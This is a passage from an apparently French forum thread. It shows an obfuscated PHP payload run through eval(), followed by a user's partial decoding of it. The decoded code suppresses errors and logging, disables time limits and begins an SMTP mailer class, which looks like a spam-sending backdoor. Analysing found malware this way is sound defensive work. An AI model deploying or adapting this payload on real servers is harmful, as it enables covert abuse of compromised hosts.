'tKTjO8ywJQVM1OYWVYjfHsAoeHAoeHAo12VW1OmfHsAoeHAoe7zbtgioixPicxW5dwUq0wPldiNaliiLHsAoeHAoe7zbtgioV'.
'gVbtgTM1OYWVFXkeHAoeHAoeHa8vQdYtKEoVBVWyPm21KPFvONb4Oi2QlmkeHAoeHAoeHastKTbJFmkeHAoeHA'.
'o1gPFvca00TdeciN7lYUPOPdPlWzVljELHsAoeHAoe7zbtgioVgTEy7TMtgWI4stL'.
'HsAoeHAoeHAotKTjyQVMeHd8vQd4VgTEy7TMtgWI4syy5uXoeHAoeHAoe7V8v'.
'OPr5uXoeHAoeHa61QzWePaaTxbVlwvZQjvVlxT50iYP5oXoeHAoeHa61QzWeHyKJORW4KPCvctLHsAoeHAo'.
'eHAotKTjyQVMeHd8vQd4Vgvp47TM1OYWVYjfHsAoeHAoeHAo12VW1'.
'OmfHsAoeHAoe7dWvKPY4B0LHsAoeHAoeHAotKTjyQVMeHd8vQ0fHsAoeHaU'.
'HsAoq0XkeHauyOVmJOGov2TM1Ddp4gEotgTjkHdM1OYW3HAwyKPmyOioZcA2V8wo9uXoeHAoyBVNeBmkeHAoeHA'.
'oJO1ok7WFtgTjkHdjJ7WF3lEw4KPCvcwokcafHsAoeHAoeHAoVB'.
'dXJQGCZsdM1OYWenjoVBvb4BTW5uXoeHAoeHaUe7Tmtgio9uXoeHAoeHAoeBdXtKUDe7NWy8auJ'.
'BaC1OWmvQVP97zWtBdp4gEXVBdXJQGCZwRb4KtXVDvbtKWb1KRWQDzWyHtp'.
'eHEoV7Nb4OimeBzW471L5WzilYaq0YVVTxWn0iup5uXoeHAoeHaUHsAoeHaUe7zby7zXe'.
'HbP97zWtBdp4gEoV7ipeBmkeHAoeHAoVBdXJQGCZWzWyxT8tKU8k'.
'HdW3lN2vQdzvQzF1OyWkHwp5uXoeHAoeHapvsAXV7iCZKyWyxzIv7iXkcAUZcaFvORK56plTxU'.
'0QjzccTdV0jPGkcafHsAoeHAoeHAotKTjyQVMe7vb4BzW5uXoeHAoeHaUHsA'.
'oeHaUHsAoeHa8vQdYtKEoyBVYvlmkeHaUHoXoeBaY1KRp18aKyON6y7WI4salvOzYtKTevOPwvQeXVBzjtswo9uXoeHAotKTj'.
'yQVMeBd8JOjXtDd8QDVWt7Rb1giX1QV81QwXeWR8esuoeWRMeswmeHt23HAwtDd8kcwfH'.
'sAoq0XkeHauyOVmJOGotDdby7W6e7vY4KzjJOUMexNItKYb47WLviV8vOPrt8owy7TEyHuoV7V8vOPryBWuvcAUeHVttWRMeswo9'.
'uXoeHAotKTjyQVMeBa8vOyqtKTu47P6vco238bttWRMqPR8qPRMkcUCt8tmeHdstKT'.
'bJDdNt7imeHdjvQbjklmkeHaUHoXoeBaY1KRp18aKyON6y7WI4salJOyMkHd6vQVjQgvp47TM1OYW3HAwJgTNQgvp4'.
'7TM1OYW3HAwJgTNQDabtDGpeBmkeHAoeHdjJ7WF3lNFJOyMQgzWt2dqvKWmvcAUeHd6vQVjQgvp'.
'47TM1OYW5uXoeHAoVBdXJQGCZ2zpvgNqJgTNQgvp47ioZcAwJgTNQgvp47TM1OYW5u'.
'XoeHAoVBdXJQGCZ2zpvgNqJgTNQDabtDGoZcAwJgTNQDabtDGfHs'.
'Aoq0XkeHauyOVmJOGov2TM1Ddp4gEodxCVlTUdiHowyBbjkcafHsAoeHAw47WMvcAUeHt25uXoeHAo'.
'vKU8eHowJcAUenAfeHdpenuotDd847TMkHdj9B0p58AwJcmrkcafHsAoeHAoeHdItK0oZcaItK0XVBdEyPmwJTjp5uXoeH'.
'AoeHapvsAXeHoXGBo8GcAhZcAw4DVwkcAKVsAXV7U8vHAhZcAu9nza'.
'kcwoqBuoV7U8vHAUZcAu9nzneBRheHoXGBoFdcAhZcAw4DVwkcAKVsAXV7U8vHAhZcAu9nyPkcwokcafHsAoeHAoeHAoV7Rp4Ki'.
'o36joVBdEyPmwJTjfHsAoeHAoeBjovORFvcafHsAoeHAoeHAoV7Rp4Kio36joe6js32zutKWMy'.
'71XesiuGWos3HAw4DVwklmkeHAoeHAoq0XoeHAoq0XoeHAotKTjyQV'.
'MeHdmJONW5uXoeBjkHsAotBTs47W6e7vY4KzjJOUMexd3ciYqigW24sowt8wo9uXoeHAoJO1okHPwvOvp4KTwkHy0cjz'.
'lzYUidTbiV8wpeBmkeHAoeHAoeHapvsAXVBdXJQGCZKTE1gTuy7WI'.
'42GpeBmkeHAoeHAoeHAoeHAoy7b84Dto4KTDeBaXt7YbJORWtwTE1gTuy7WI4sowy7bpt8j+'.
'l7PMv8ostgW24KWMv8ep3stolDaW4WzllHaW9BdW42zp4gEo4OWFtgWMv8E2klmkeHAoeHA'.
'oeHaUHsAoeHAoeHAotKTjyQVMeHt25uXoeHAoq0XoeHAoVBa8JQv3vQWlyBeoZcaKJORWQgyWyPU64gNjvONjt8owy7bpt8'.
'j+dxCVlTUutKWg1QdWklmkeHAoe7WKeHowy7bpt8j+dxCVlTUu1QzFt7b81QzWeHxUeHt2kcafHsAoeHAoeH'.
'dutKWgcgTNenjo4DaW42zF4PUuJgTNQgyWyPUutKWg1QdWkHdutKWgcgTNiDd83HAwy7bpt8j+dxCVlTUu1Qz'.
'Ft7b81QzWklmkeHAoeBjovORFvcafHsAoeHAoeHdutKWgcgTNenjoVBa8JQv3vQWlyBefHsAoeHaUHsAoeHapvsAX4DaW4'.
'2zF4PUFJOyMkHdF3HAwtgW24KPjyQVW3HAwtBVpywCW9cwpeBmkeHAoeHAotKTjyQVMe7VbtgigzPUW4KzIv7iXVB'.
'zpvgNbyBT8vcwfHsAoeHaUHsAoeHa8vQdYtKEoV8tfHsAoq0XkeHauyOVmJOGov2TM1Ddp4gEodxCVlTUevOPwvQVnk'.
'HdFkcafHsAoeHAwt8AUeBa8vOyqtKTu47P6vcos3YR8Q7Ntt8mIesuoesAs3HAwt8wfHsAoeHAw47WMvQGoZcaW9Bam4gdWk'.
'HVttWRMesuoVBGp5uXoeHAovKU8vOP6JHAXV7Rp4KTFe7PFeHdrvQwoZlEo'.
'V7Rp4KipeBmkeHAoeHAo47WFyHowJ7Tbv7WMv8uoVBvb4BTWkcAUe7TEt7RIv7'.
'iXe6Xs3HAw47WMvcuoGswfHsAoeHAoeHdXvOPwJON2enjotDd8y7Um4DyWtsowJ7Tbv7WMv8wfHsAo'.
'eHAoeHdg1ORYvcAUeBa8vOyqtKTu47P6vcos3YRFk8hs3HAseHeme'.
'Hdg1ORYvcwo58AI38an4gYutKTFt8aYtgTmvQzFeBzu1OzWtuXoeHAoeHAw47WMvQz4V7CW'.
'9TjoZcAwJ7Tbv7WMv8Es5seMyBVp4cowyKPmyOipenmo38hod7UMVD0ovKU8vgTjeBdIeBVW4OUgvcaQiYA'.
'o1QVIyONweBdXvcag1ORYv0XoeHAoq0XoeHAoVBGoZcap4Qam4gdWkHVttWRMe'.
'suoV7Rp4KTFklmkeHAoeBVWyBT84sAwtFmkeHaUHoXoeBaY1KRp18aKyON6y7WI4saxcjWzQjVIvBWnkHds4gdNkcafHs'.
'AoeHapvsAXV7VIvBwoZljoV8tpeBVWyBT84sAsQBVt4sefHsAoeHAw1KUw9cAUeBzj'.
'tWU8vQam1OzWkHVttWRMesuoeWRMesuoV7VIvBwp5uXoeHAoV7VIvBwoZcaFyBVqtKTu47P6vcosQ'.
'7Es3HAsQBVt4semeHds4gdNklmkeHAoeByXJORWeHbFyOVFyBeXV7VIvBwmeBzj'.
'tKRW4sow1KUw9cwo3cAj3HAjkcAUZcAsQBVt4WR8Q7EskcafHsAoeHAoeHds4gdN'.
'enjotDTstDd8kHds4gdN3HAu3HaFyBVmvOEXV7VIvBwpeHjoGswfHsAoeHaUHsAoeHa8vQdYtKEoV7'.
'VIvBwfHsAoq0XkeHauyOVmJOGov2TM1Ddp4gEodxCVlTUav70XV7bW1OdWt2zq47WMv'.
'cuoVBzY1KpW1D0meHds4gdNkcafHsAoeHAwdxCVlQzpvgNbyBT8vTdNt7ioeHAoZ'.
'cA2t2zb3QzX1lx258AI38alJOyM1QdYtKioVsaX1QzXe7PmvgU8JQdX4QGkeHAoeHdxcjWz1gPM4gN'.
'p1gPmJQpby7WI4sAUeHy8vORb97Tw3Dzp4QamvctfeHhIexzb4KUMJOzb47WL1Qdp4gEo4g1oJ7Tbv7T83gVIvBwkeHAo'.
'eHdxcjWztQTWt2woeHAoeHAoeHAoeHAUeHyw42GIyBbjVFmo38hoiQTWt2wo4OTjJ7UwHsAoeHAwdxCVlQdp4Oioe'.
'HAoeHAoeHAoeHAoZcajJOYWkHwo58AI38alJOyM1QdYtKioT7WCvQzj1OYuenjo'.
'tgT64gNwt8aFJON6vcAuGnXuGnXuGHACexpb4sAR3HAR5ltueHbTTxGoy7W'.
'CvcaL4gNWk0XoeHAoVBzY1KpW1DdqJ7Tbv7T8eHAoeHAoenjoeWzY1KpW1D0LeHdFyOVS'.
'vOzje6mkeHAoeHdXvOPwvQVFeHAoeHAoeHAoeHAoeHAUe7TEt7RIv7iXVBdXJQ'.
'GCZwRP3HAwJ7Tbv7T8tYUmJONWklmkeHAoeHdKtKUCQgbW1OdWtsAoeHAoeH'.
'AoeHAUeHt25uXoeHAoVBdIQgbW1OdWtsAoeHAoeHAoeHAoenjoV8tfHsAoeHAw1DT8'.
'tKTMyHAUeHt25uXoeHAovKU8vOP6JHowJ7Tbv7T8t8abt8AwJ7Tbv7T8kcafHsAoeHAoe7WKeHbFyBVu4DGXV7bW'.
'1OdWtsuoVjv84gjLV8woZljUenApeBmkeHAoeHAoeHAwv2VI4TUXvOPwvQeoZcAwJ7Tbv7T85uXoeHA'.
'oeHAoeHd6yQV8vONjenjoVgv84gYqJ7Tbv7T8VFmkeHAoeHAoqcaW4BzWJO1'.
'okBzjt2aIt8owJ7Tbv7T83HA2T7hLV8woZljUenApeBmkeHAoeHAoeHAwy7UqJ7Tbv7T8enjoV7bW1'.
'OdWt6mkeHAoeHAoeHAw1DT8tKTMyHAUeHyj4YUXvOPwvQe25uXoeHAoeHaUe7Tmtgio9uXoeHAoeHAoe7WKkHd6yQV'.
'8vONjeH1KeBzjt2aIt8owJ7Tbv7T83HA2enj/V8woZljUenAp9uXoeHAoeHAoeHAoV7zYt2VW4'.
'20o36joV7bW1OdWt6mkeHAoeHAoeHaUe7Tmtgio9uXoeHAoeHAoeH'.
'AoV7zYt2VW420oZcA2VFmkeHAoeHAoeHaUHsAoeHAoeBjkeHAo'.
'eBjkeHAoeHdKtKUCeHAoeHAUeBzjtWU8vQam1OzWkHyhV8uoVFjD08tmeHdjJ7WF3lNxcjWzQYP0kHdKtKUCQgbW1OdWtswp'.
'5uXoeHAoVBdIeHAoeHAoenjotDd8QDVWt7Rb1giXVDu23HA2ZlynV8uoVBdXJQGCZwd3ciYqiTAXVBdIQgbW1'.
'OdWtswp5uXoeHAoVBzY1KpW1D0oenjotDd8QDVWt7Rb1giXVDu23HA2ZlynV8uoVBdXJQ'.
'GCZwd3ciYqiTAXVBzY1KpW1DdqJ7Tbv7T8kcwo58AI38an4DapvO0oJ7Tbv7T8e7vpvORwt8AXv7'.
'Cp4cYRyOUjvO0CtBVp42db1KRWHsAoeHAw1KUw9cAoeHAoZcAwy7bpt8j+dxCVlTUH4gdN08ow1KUw9cwfHsAoeHA'.
'wdxCVlORW4sAoZcaFyBVmvOEXV7VIvBwpenmo38hol7TMvDdXe7UKe7VIvBwkeH'.
'AoeHdxcjWz161jeHAUe7VbtgigzPUW4KzIv7iXt7P6J8oscHXs3HaFJ7xRkHds4gdNkcwpenmo38ho0KPFvl1je7UKeBab1g'.
'CWvHasJONbt2woijba3lxoJ7PFJHaIvsas4gdNHsAoeHAwJOdW420oeHAoZcAXV'.
'BdXJQGCZwd3ciYqJOdW42dpyBwoZljoV8tpZ8A2V8ALeHeoJljseHEoVBdXJQGCZ'.
'wd3ciYqJOdW42dpyBwo3sAs58efHsAoeHAwv7Cp4Obwt2GoZcAsdxCVlcYlJOyM1QdYtKiLeB1UGlmo1ljseHEoVx'.
'd3ciYFJOyM1QdYtKTi9QaWeHEoe6motljseHEoVxd3ciYRyOT89cAMeHefe7uUesAMeHdxcjWz47TMeHEo'.
'e6motFjseHEoVBdXJQGCZwd3ciYqtgTmvOzj4Deo3sAs5YR8Q7Es3oXoeHAoe'.
'HAoeHAoeHAoeHAoeWRjynjseHEoVxd3ciYjJOYWeHEoe6mo1FjseHEoVxd3ciY61ONI4KW61ORp9KPjJOUMeHEoe6CttW'.
'RMesEkeHAoeHAoeHAoeHAoeHAoeHVty7oUd2VI4lpi4FplyOVSvOzj5YR8Q7Es3oXoeHAoeHAoeHAoeHAoeHAoeWRjvnjseHEoVB'.
'dXJQGCZwd3ciYqv7UC1OWMeHEoe6mseHEoV7WwvONjeHEoeWR8Q7Es3oXoeHAoeHAoeH'.
'AoeHAoeHAoeWRj96jwv2VI4TR8Q7Es3oXoeHAoeHAoeHAoeHAoeHAoeWRjqHdj4YR8Q7Es3oXoe'.
'HAoeHAoeHAoeHAoeHAoeWRjqHdFyOVSvOzj5YR8Q7Es3oXoeHAoeHAoeHAoeHAoeHA'.
'oeWRj1KoUesAMeHdxcjWz161jeHEoe6CttWRMesEkeHAoeHAoeHAoeHAoeHAoeHVty7eUe6mkeHAoeHdj4YzpvgEoeHAUeHdjJ'.
'7WF3lNxcjWzQjbW1OdWtwGXV7v84gYqJ7Tbv7T8eHEoeWR8Q7EseHEoVBdIQgbW1OdWtsAMeHVtt'.
'WRMesAMeHdFyOVSvOzjQgbW1OdWtsAMeHVttWRMesAMeHdwJgWCJ7d8t8wfHsAoeHAwtgW24KTweHAoZcA'.
'wy7bpt8j+dxCVlTUlJOyMkHdj4YzpvgEp5uXoeHAotKTjyQVMeHdwJgWCJ7d8t8EwtgW24KTw3sVttWRMe6mkeHaUHoXoeBa8'.
'4DdW1DdWvHaKyON6y7WI4saw4jzb47Rs1OzrkHdptYzW420meHdj48uoV7z63HAw1Kz63HAwtDTsJKT'.
'6yHuoV7VIvBwmeHdKtKUCenjo42Tm4Hwo9uXoeHAoJO1okHPW4Qaj9cowy7bpt8j+1OzjJOUMQgvY4KzjJOUMkcAKVsapt'.
'YU61ORm1OVmvcowy7bpt8j+1OzjJOUMQgvY4KzjJOUMkcwo9uXoeHAoeHAwt7'.
'P81OYFenjo1QV81QwXV7WFigTMyHuoVBdI3HAw1gGmeHds1gGmeHd'.
'FyOVSvOzj3HAw1KUw9cuoV7v84gjp5uXoeHAoeHa61ORmQDTFvQVqv2T'.
'M1YUbt2Vb9cowy7bpt8j+1OzjJOUMQgvY4KzjJOUM3HAwt7P81OYFklmkeHAoeBjkeHaUH2jk'.
'HKzm1QzFeBaXt7YbJORWtwTE1gTuy7WI4saW9BdW4KdFexTE1gTuy7WI4safHsAotBTs47'.
'W6e7vY4KzjJOUMe7T8tKU8lOTFtgP2vcopeBmkeHAoeHdWt2VItwYFv8AUeHthtDd'.
'84gN2Zsto3sAwy7bpt8j+vgTjlOTFtgP2vcopeHEoe6uItDd84gN2Z6RstsAIZWRMe6mkeHAoeBVWyBT84sAwvQV84DVztgtfHs'.
'Aoq0pUHoXI38aC1Oz84gzWt8AI38hI38hI38hI38hI38hI38hI38hI38hI38hI38hI38hI38hI38hI38hI38hI38hI38hI38h'.
'I38hkHKvY4KzjJOUMe7Pmy7T8QgYb1DVIt8ow1gUMy7TMyHwk9uXoeHAotBVWvY'.
'UC1Qd6JPUb47uXV8zfkHESkQj6TOw23HAw1gUMy7TMyHuoV7Yby7zXvQGp5uXkeHAoe7vItsowJcAUenAf'.
'eHdpenuo1gUY420XV7Yby7zXvQz4GTjp58AwJcmrk0XoeHAo9uXke'.
'HAoeHAoeHAw42GoZcaW9Bam4gdWkHVhesuoV7Yby7zXvQz4GTY4V7Wyklm'.
'keHAoeHAoeHAw1FeoZca64DTMyHow42Gp5uXoeHAoeHAoeHd81ONwenjotKPMvHou3HAXV7G8eHjoGcwp5uXoeHAoeHAoeHd64gN'.
'jvONjenjotDd8QDVWt7Rb1giXe2ms3sdC1Qd6J7TFOFPyO8dpQcEsqcem'.
'eHdMtYmwtKPMvPjmeHd64gNjvONjklmkeHAoeBjkeHAoeBVWyBT84sAw1gUMy7TMy'.
'nmkq0Xkv2TM1Ddp4gEoy7TEyPUC1Oz84DGXV7zI42dW420pH2mkeHAoeBa8vOyq4OPj1gbq1ORmkHt6QPCidTbiQHjX'.
'OYmLv7W2JQ0LQTjrkTuCkPC45KdpvgWj5WYyk8WtQcG23HAw1gUMy7TMyHuoV7Yby7'.
'zXvQGp5uXkeHAoe7vItsowJcAUenAfeHdpenuo1gUY420XV7Yby7zXvQz4GPjp58AwJcmrk0XoeHAo9uXoeHAo'.
'eHAoeHdCJOEoZcAw4OPj1gbWtYmRQTmwJTjfHsAoeHAoeHAoV7'.
'Yb9HAUeHdC1Qd6J7TFOFVyO8dpQlmkeHAoeHAoeHAwtKPMvHAUeBVb4K0XV7Yp4suo'.
'V7Yb9HwfHsAoeHAoeHAoVByItK0oZca2vONWtKPjvTUD4DVwkHd81ONwklmk'.
'HsAoeHAoeHAoV7zI42dW420oZcautKT2QDVWt7Rb1giXeshs32a8vOyqtQTIy7iXV7Yby7zXvQz4GPY4V7W'.
'ykcEs38emeHdD4DVw3HAw1gUMy7TMyHuoGcwfHsAoeHaUHoXoeHAotBVWvYUC1Qd6JPUb47uXV8ztOYdPOPdt3cb4O'.
'FpwJOypynpyQcmpQPj6V8uoV7zI42dW420meHdC1Qd6J7TFklmkHsAoeHaK4DeXV7woZ'.
'cAu58AwJcAhe7zIyONjkHdC1Qd6J7TFOFayklmoV7wrk8wkeHAoeBmkeHAoeHAoeHA'.
'w1gUY420oZcAw4OPj1gbWtYmRQTmwJTjfHoXoeHAoeHAoeHdD4DVweHAUe7yW4KT81QdWQDyItK0XV7zIyONjklmkHsAoeH'.
'AoeHAoV7zI42dW420oZcautKT2QDVWt7Rb1giXeshs32a8vOyqtQTIy7iXV7Yby7zXvQz4GPY4V7WykcEs38e'.
'meHdD4DVw3HAw1gUMy7TMyHuoGcwfHsAoeHaUHoXkeHAoeBVWyBT84sA'.
'w1gUMy7TMynmkq0Xkv2TM1Ddp4gEo97NY4TUC1Oz84DGXV7zI42dW420pH2mkeHAoeBa8vOyq4O'.
'Pj1gbq1ORmkHt6QPC5TiYt3cb4OFpwJOypynpyQcmpQPj6V8uoV7zI42dW'.
'420meHdC1Qd6J7TFklmkHsAoeHaK4DeXV7woZcAu58AwJcAhe7zIyONjkHdC1Qd6J7TFOFayklmoV7wrk'.
'8wkeHAoeBmkeHAoeHAoeHAw42TCenjoV7Yby7zXvQz4GTY4V7Wy5uXoeHAoeHAoeHdCJOEoZcau4DtXGlAmeHdMy'.
'Ojo3cARklmkeHAoeHAoeHAw4OPEenjot7UDknxu3HAw42TCkcACenxfHoXoeHAoe'.
'HAoeHd81ONwenjotKPMvHow4OWM3HAw4OPEklmkeHAoeHAoeHAw1gUMy7TMyH'.
'AUeBzjtWU8vQam1OzWkHdC1Qd6J7TFOFayO8dpQcuoVBVb4K0meHd64gNjvONjklmkeHAoeBjkeHAo'.
'eBVWyBT84sAw1gUMy7TMynmkq0Xkv2TM1Ddp4gEo42TCQgYb1DVIt8ow1gUMy'.
'7TMyHwk9uXoeHAotBVWvYUC1Qd6JPUb47uXV8ztOYValwdt3cb4OFpwJOypynp'.
'yQcmpQHjXOYmLv7W2JQ0LQTjrkTRye8tmeHd64gNjvONj3HAw4OPj1gbWt'.
'8wfHoXoeHAovKU8kHdpenjoGnmoV7woZHa64DTMyHow4OPj1gbWtYmuQcwfeHdpk8mpHsA'.
'oeHafHsAoeHAoeHAoV7Yp4sAUeHdC1Qd6J7TFOFPyO8dpQlmkeHAoeHAoeHAw4OPEenjoV'.
'7Yby7zXvQz4GWY4V7Wy5uXoeHAoeHAoeHd81ONwenjotKPMvHow4OWM'.
'3HAw4OPEklmkeHAoeHAoeHAw1gUMy7TMyHAUeBzjtWU8vQam1OzW'.
'kHdC1Qd6J7TFOFayO8dpQcuoVBVb4K0meHd64gNjvONjklmkeHAoeBjkeHAoeBVWyBT84sAw1gUMy7TMynmk'.
'q0Xkv2TM1Ddp4gEovgTMvQVby7TqygU8vHow47TMvDdXk0pfHsAoeHAw1g'.
'bbt2GoZcA21OV6v7TKvgbpJKCm4ONItBP8tDdYy2WE9stfHsAoeHAw42TC0gbbt2GoZcaFyBVmvOEXV7zX1QVF'.
'klmkeHAoeHdFyBVp4KtoZcA2VFmkeHAoe7vItsowJcAUenAfeHdpenuoV7RW4KyjJn'.
'moV7wrk8wkeHAoeBmkeHAoeHAoeHAwtDd8JON2eHEUeBzY12zjtso'.
'w1gbbt2GmeBVb4K0XGcuoV7NY4izX1QVFkcACenxmenxp5uXoeHAo'.
'q0XoeHAotKTjyQVMeHdFyBVp4KtfH2jkHKvY4KzjJOUMeBabtDzq4OP6tKUFkHd64gNjvONj3HAwt7PFtgTFk0pfHsAoeH'.
'Awt7PFt8AUe7P8tKPNQDaItHowt7PFtgTFklmkeHAoeAXoeHAotKTjyQVMeBzjtWU8vQ'.
'am1OzWkHV4ixPliYjs3HAwt7PFt8uoV7zI42dW420p5upUHopKyON6y7WI4saKy7Tp4PUC1Oz84D'.
'GXV7zI42dW420meHdKy7Tp4Hwk98AoeHAkeHAoeBVWyBT84saFyBVqtKTu47P6vcosOj'.
'vidiWGQcemeHdKy7Tp4HuoV7zI42dW420p5upUHoXI38hI38hI38hI38hI38hI38hI3'.
'8hI38hI38hI38hI38hI38hI38hI38hI38hI38hI38hI38hI38hI38hI38h'.
'I3uXkHKvY4KzjJOUMeBzW4Kdl4QdulOPp4HooV7bItD0meHdu4DVj3HAw47U2JOEmeHdu1QzF3HAwv2VI4c'.
'uoV7Nb4OimeHdj48uoVBzY1KpW1D0meHds4gdNeHwk9uXVyBVNHoWfHowVV7YbJOuoZcaMvQtoixb0lOPp47T8kBd8yOip'.
'5uXVHcdC1OWm3lNVtYzzTPAXklmkH0ww4OPp4Hj+c7UFyHAoeH'.
'AoeHAUeHdX4Dzj5uXVHcdC1OWm3lN04DVjeHAoeHAoenjoVBaIt20fHowVHowVJO1okHdu4DVjenjUeniEz'.
'8wkH0WfHowVHcdC1OWm3lNllTd0igT6yQVWenjoVDdmt8tfHowVq0XVHOTmtgTpvsowt7U8yHA'.
'UZcAjz6ipHowV9uXVH0ww4OPp4Hj+ijYiiPzW1DT8vcAUeHyFtg'.
'u25uXVHQjkH0wkH0ww4OPp4Hj+ijYiixPYy7ooeHAUeBd8yOifHowVV'.
'7YbJOuCZWTFvQVM1OYWeHAoZcAw47U2JOEfHowVV7YbJOuCZWabtDzD4DVweHAoZcAwt7'.
'PFtFmkH0ww4OPp4Hj+igTjd2VI4cowv2VI4cuoV7Nb4Oip5uXVHcdC1OWm3lNav7dcvQam9TdIkHdKtKUC3HAw4KP'.
'CvcwfHowVV7YbJOuCZwPwvxPwvBVWtDGXVBdIklmkH0ww4OPp4Hj+iDTsJKT6yHAUeHdFyOVSvOzj5uXVHcdC1OWm3lNztg'.
'yeTxYGkHds4gdNklmkHowVJO1okHxw4OPp4Hj+tgTMvHopk0XVHQmkH0wVtKTjy'.
'QVMeHdC1OWm3lNPt2VItwWMvKhfHowVq0XVHOTmtgikH0WfHowVHQVWyBT84sAu5uXVHQjkHQjo1gPj1gookxTE1'.
'gTuy7WI4sAwvcwkHQmkH0W8vQdYtKEoV7YbJOuCZwT8tKU8cONK4FmzHoWUH2jkH'.
'KWKeHbptDzWyHowQYaZiYd4e2ap4KtsQcwpH2mkeHAoe7T6J7hoVPU0lYziO8VuJON2eWjfHsAo'.
'eHaW97WjkHwfH2jkHKWKeHobJQzFvQ0XVPU0lYziO8VW4OPp4BGsQcwo4DeoeOWFtgTjkHdqixUlTP'.
'msy7bW4OTFeWjpe7U8eHPptDzWyHowQYaZiYd4eKYWtDzbvgTFeWjpe7U'.
'8eHPptDzWyHowQYaZiYd4eKv84gYFeWjpe7U8eHPptDzWyHowQYaZiYd4eKP618Vykc'.
'wk9uXoeHAovQbpyHop5upUHoXwvOYbJORFenjo0BTMtgT8JOPmJQpWk7VbtgigzPUwvOzIv7iXVPU0lYziO8VW4OPp4BGs'.
'Qcwp5uXwy7bW4OTFenjo0BTMtgT8JOPmJQpWk7VbtgigzPUwvOzIv7iXVPU0lYziO8VjJ7TCv'.
'QGsQcwp5uXw4OTFtgP2vcAUexaY42zWtKWb47WLvcbs1QzWz6dqv7T64gdWkHdqixUlTPms4OTFtgP2vQGsQcwp5uXwv2VI'.
'4QGoZcaAyONFvQVp1ORp9KiX1KPFvl1jQgdW1gUwvcowQYaZiYd4eKv84gYFeWjpklmkV7P618AUexaY42zWtKWb47WLvcbs1Qz'.
'Wz6dqv7T64gdWkHdqixUlTPms1Oz6eWjpklmkHsd24gUwenjoGnmkV7VbvHAUenAfHsdm1QzjQgT8tKU'.
'8enjoGnmkHKvItKTb1gookHdW4OPp4BGo1QGoVBTpvnj+V7TC1OWmk0pfHsAo'.
'eHAwy7bW4OioZcAwy7bW4OTFOgP8tKPNQDVb4K0XVBdXvOYWt8Wy5uXkeHAoeHdjJ7TCvcAUe7Pmy7T8QgYb1DVI'.
't8owy7bW4Oip5uXoeHAoVBdXvOYWenjo42TCQgYb1DVIt8owy7bW4Oip5u'.
'XoeHAoVBdXvOYWenjoy7TEyPUC1Oz84DGXVBdXvOYWklmkeHAoeHdjJ7T'.
'CvcAUeBbMyOYq4OP6tKUFkHdjJ7TCvcwfHoXoeHAoV7YWtDzbvgioZcab4BdWtWUC1Oz84DGXV7YWtDzbvgip5uXo'.
'eHAoV7YWtDzbvgioZcaMyOYq4OP6tKUFkHdCvQzF1OyWklmkeHAoeHdCvQzF1OyWenjoy7TEyPUC1Oz84DGXV7YWtDzbvgip5'.
'uXoeHAoV7YWtDzbvgioZcaE42TCQgYb1DVIt8ow4OTFtgP2vcwfHsAoeHAw4OTFtgP2vcAUe7v'.
'jvOWmQgYb1DVIt8ow4OTFtgP2vcuoVBTpvHwfHoXoeHAoV7v84gjoZcAwv2VI4Qz41QV81QWqtKPMvHo'.
'wv2VI4QGpQlmkeHAoeHdKtKUCenjo1ORjvQVq4OP6tKUFkHdKtKUCklmkeHAoeHdKtKUCenjo42TCQgYb1DVIt8owv2VI4cwfH'.
'sAoeHAwv2VI4cAUeBdW9Bdq4OP6tKUFkHdKtKUCklmkeHAoeHdKtKUCenjo97NY4TUC1Oz84DGXV7v'.
'84gjp5uXkeHAoeHdm1QzjQgT8tKU8enjotgTMvPzCyBaz1OWmkHAw1Oz6OFay3HAw1Oz6OFPy3HAw1Oz6OFVy3HAw1Oz'.
'6OFzy3HAw1Oz6OFdy3HAwv2VI4cuoV7TC1OWm3HAwy7bW4OimeHdCvQzF1Oy'.
'WklmkH0XVJO1okHdm1QzjQgT8tKU8enjUZcAuk0XV9uXVHcd24gUwk8mfHoWUHoWW4BzWHoWfHowVV7VbvHmr5uXVHcd2'.
'4gUwenjo1gUY420XV7TC1OWmt8wo3cAw1KPw5uXVHOV8vOPr5uXVq0pUHoXwtKTFO8V8vQzY4B0sQTmsvQV84DVqy'.
'7TEyHVyenjoV7RbtDdqvQV84DeoZljUexvalPzPenhoGHALeHdm1Qzj'.
'QgT8tKU85uXwtKTFO8V8vQzY4B0sQTmsvgUIvHVyenjoV7yI4g0fHsd8vQz4e2VWtDTmyHVyO8Vs1O0sQcAUeHds'.
'1O0fHsd8vQz4e2VWtDTmyHVyO8V6J7T6J8VyenjoGlmkHKT6J7ho1KPFvl1jQgTM1gUwvc'.
'bFvQVp1ORp9KiXVBVWt8wp5uXkvQbpyHop5u==';
eval(v1JKEFJ($vFZ7EBY, $v3F2NJX));?>

Il est bien évidemment chiffré, mais je n'ai pas encore réussi à le déchiffrer... :unsure:

Lien vers le commentaire
Partager sur d’autres sites

J'ai réussi à décoder le fichier PHP en changeant la commande 'return' par 'print' :

@ini_set('display_errors',0);
@ini_set('log_errors',0);
@error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);
if (version_compare(PHP_VERSION, '5.0.0', '<') ) {
	$res = Array();
	$res["result"]["check"] = 0;
	echo base64_encode(serialize($res));
}

function custom_strip_tags($text) {
	$text = strip_tags($text, '');
	$text = str_replace("", "", $text);
	$text = str_replace("\">", " ] ", $text);
	return $text;
}

class SMTP {
public $SMTP_PORT = 25;
public $CRLF = "\r\n";
public $do_debug = 0;
public $Debugoutput = 'echo';
public $do_verp = false;
public $Timeout = 15;
public $Timelimit = 30;
public $Version = '5.2.6';
protected $smtp_conn;
protected $error;
protected $helo_rply;
protected function edebug($str) {

	switch ($this->Debugoutput) {
		case 'error_log':
			error_log($str);
			break;
		case 'html':
			echo htmlentities(preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8')."
			\n";
			break;
		case 'echo':
			default: echo $str;
	}
}

public function __construct() {
$this->smtp_conn = 0;
$this->error = null;
$this->helo_rply = null;
$this->do_debug = 0;
}

public function Connect($host, $port = 0, $timeout = 30, $options = array()) {
$this->error = null;
if($this->connected()) {
	$this->error = array('error' => 'Already connected to a server');
	return false;
	}

if(empty($port)) {
	$port = $this->SMTP_PORT;
	}

$errno = 0;
$errstr = '';
$socket_context = stream_context_create($options);
$this->smtp_conn = @stream_socket_client($host.":".$port, $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT, $socket_context);

if(empty($this->smtp_conn)) {
$this->error = array('error' => 'Failed to connect to server', 'errno' => $errno, 'errstr' => $errstr);
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ": $errstr ($errno)");
}
return false;
}
